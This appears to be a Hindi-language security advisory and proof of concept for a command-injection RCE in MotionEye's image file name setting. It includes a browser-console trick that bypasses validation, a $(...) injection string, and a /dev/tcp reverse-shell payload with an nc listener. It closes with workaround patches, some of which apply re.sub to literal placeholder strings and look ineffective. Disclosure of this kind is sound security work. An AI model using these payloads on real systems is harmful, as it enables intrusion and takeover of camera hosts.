
इस भेद्यता के लिए PoC चरण
डॉकर में चल रहे MotionEye इंस्टेंस के सुरक्षा परीक्षण के दौरान, यह देखा गया कि वेब UI के भीतर क्लाइंट-साइड वैलिडेशन को बायपास किया जा सकता है। इससे मनमाना इनपुट सबमिट किया जा सकता है, जिसमें ऐसे पेलोड भी शामिल हैं जो होस्ट कंटेनर पर निष्पादन ट्रिगर कर सकते हैं। यह समस्या शोषण किए जाने पर रिमोट कोड एक्ज़ीक्यूशन (RCE) का जोखिम पैदा करती है।
प्रभावित संस्करण: 0.43.1b4 तक के सभी संस्करण
पैच स्थिति: अभी तक कोई पैच उपलब्ध नहीं है। इस एडवाइज़री में एक वर्कअराउंड दिया गया है।
प्रोजेक्ट संदर्भ: https://github.com/motioneye-project/motioneye
CWE: CWE-20, CWE-78, CWE-116
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
CVSS: 7.2/10
ghcr.io/motioneye-project/motioneye:edge8765 से मैप किया गया 9999admin / खाली पासवर्ड (डिफ़ॉल्ट)Docker इमेज डाउनलोड शुरू करने और कंटेनर प्रारंभ करने के लिए निम्न कमांड चलाएँ
docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge

docker logs motioneye | grep "motionEye server"
परिणाम: MotionEye सर्वर 0.43.1b4

डॉकर कंटेनर चालू होने के बाद, निम्न कमांड का उपयोग करके कंटेनर शेल तक पहुँचा जा सकता है
docker exec -it motioneye /bin/bash
ls -la /tmp

वेब इंटरफ़ेस यहाँ एक्सेस करें:
http://127.0.0.1:9999
लॉगिन: admin (खाली पासवर्ड)
सैंपल RTSP नेटवर्क कैमरा जोड़ा गया।

“स्टिल इमेजेस” > “इमेज फ़ाइल नाम” में एक दुर्भावनापूर्ण निष्पादन कमांड दर्ज किया गया था , लेकिन क्लाइंट-साइड वैलिडेशन त्रुटि उत्पन्न हुई।
$(touch /tmp/test).%Y-%m-%d-%H-%M-%S
क्लाइंट-साइड वैलिडेशन द्वारा अवरुद्ध।


निम्न स्क्रिप्ट वैलिडेशन के लिए ज़िम्मेदार है: /static/js/main.js?v=0.43.1b4, जो वैलिडेशन शर्तों को लागू करने के लिए /static/js/ui.js?v=0.43.1b4 को संदर्भित करती है।
फ़ाइल: /static/js/main.js?v=0.43.1b4 जो /static/js/ui.js?v=0.43.1b4 को संदर्भित करती है
function configUiValid() {
$('div.settings').find('.validator').each(function () { this.validate(); });
var valid = true;
$('div.settings input, select').each(function () {
if (this.invalid) { valid = false; return false; }
});
return valid;
}
ब्राउज़र कंसोल में configUiValid फ़ंक्शन को ओवरराइड करके, सभी वैलिडेशन जाँचों को बायपास किया जा सकता है: ब्राउज़र के कंसोल में नीचे दिया गया स्निपेट दर्ज करें (F12 या Ctrl+Shift+I)
configUiValid = function() {
return true;
};

अब पेलोड को बिना किसी वैलिडेशन के सीधे दर्ज किया जा सकता है: नीचे के अनुसार सेट करें और सेटिंग्स लागू करें
सेटिंग्स:
$(touch /tmp/test).%Y-%m-%d-%H-%M-%S
लागू किया गया → रूट अनुमतियों के साथ फ़ाइल बनाई गई।

सरल रिवर्स शेल उत्पादन:
लिसनर:
nc -lvnp 4444

इंजेक्ट किया गया पेलोड:
$(python3 -c "import os;os.system('bash -c \"bash -i >& /dev/tcp/192.168.0.108/4444 0>&1\"')").%Y-%m-%d-%H-%M-%S

परिणाम: रिमोट शेल प्राप्त हुआ।
MotionEye कमज़ोर है क्योंकि यह वेब डैशबोर्ड से उपयोगकर्ता इनपुट लेता है और खतरनाक वर्णों की जाँच किए बिना उसे सीधे Motion कॉन्फ़िग फ़ाइलों में लिख देता है। उदाहरण के लिए, UI में image_file_name फ़ील्ड को बैकएंड (config.py) पर भेजा जाता है और /etc/motioneye/camera-.conf में सहेजा जाता है। जब MotionEye Motion सेवा (motionctl.start) को पुनरारंभ करता है, तो Motion प्रक्रिया इस कॉन्फ़िग फ़ाइल को पढ़ती है। यदि picture_filename फ़ील्ड में $(touch /tmp/test) जैसा शेल सिंटैक्स होता है, तो Motion इसे फ़ाइलनाम के हिस्से के रूप में मानने के बजाय वास्तविक कमांड के रूप में चलाएगा।
Motion कॉन्फ़िग फ़ाइलों में लिखा गया अनसैनिटाइज़्ड इनपुट:
Dashboard JS → ConfigHandler.set_config() → camera-1.conf → motionctl.restart() → motion parses picture_filename → executes payload
फ़ाइल: /usr/local/lib/python3.13/dist-packages/motioneye/config.py
def sanitize_filename(value):
# allow only letters, numbers, %, _, -, /, .
for ch in value:
if not (ch.isalnum() or ch in "%-_/."):
return "%Y-%m-%d/%H-%M-%S" # safe fallback
return value

सैनिटाइज़ेशन लागू करें:
data['picture_filename'] = sanitize_filename(ui['image_file_name'])
data['snapshot_filename'] = sanitize_filename(ui['image_file_name'])
पहले:
बाद में:

docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge
docker exec -it motioneye /bin/bash
docker cp motioneye:/usr/local/lib/python3.13/dist-packages/motioneye/config.py ./config.py
docker cp ./Mconfig.py motioneye:/usr/local/lib/python3.13/dist-packages/motioneye/config.py
मूल:
on_event_start = [f"{meyectl.find_command('relayevent')} start %t"]
on_event_end = [f"{meyectl.find_command('relayevent')} stop %t"]
on_movie_end = [f"{meyectl.find_command('relayevent')} movie_end %t %f"]
on_picture_save = [f"{meyectl.find_command('relayevent')} picture_save %t %f"]
इससे बदलें:
import re
on_event_start = [f"{meyectl.find_command('relayevent')} start '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}'"]
on_event_end = [f"{meyectl.find_command('relayevent')} stop '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}'"]
on_movie_end = [f"{meyectl.find_command('relayevent')} movie_end '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}' '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%f')}'"]
on_picture_save = [f"{meyectl.find_command('relayevent')} picture_save '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}' '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%f')}'"]

docker restart motioneye

motion_camera_ui_to_dict(...) के अंदर:
मूल:
data['picture_filename'] = ui['image_file_name']
data['snapshot_filename'] = ui['image_file_name']
इससे बदलें:
from re import sub
data['picture_filename'] = (sub(r'[^A-Za-z0-9._%/-]', '_', ui['image_file_name']).lstrip('/') or '%Y-%m-%d/%H-%M-%S')
data['snapshot_filename'] = (sub(r'[^A-Za-z0-9._%/-]', '_', ui['image_file_name']).lstrip('/') or '%Y-%m-%d/%H-%M-%S')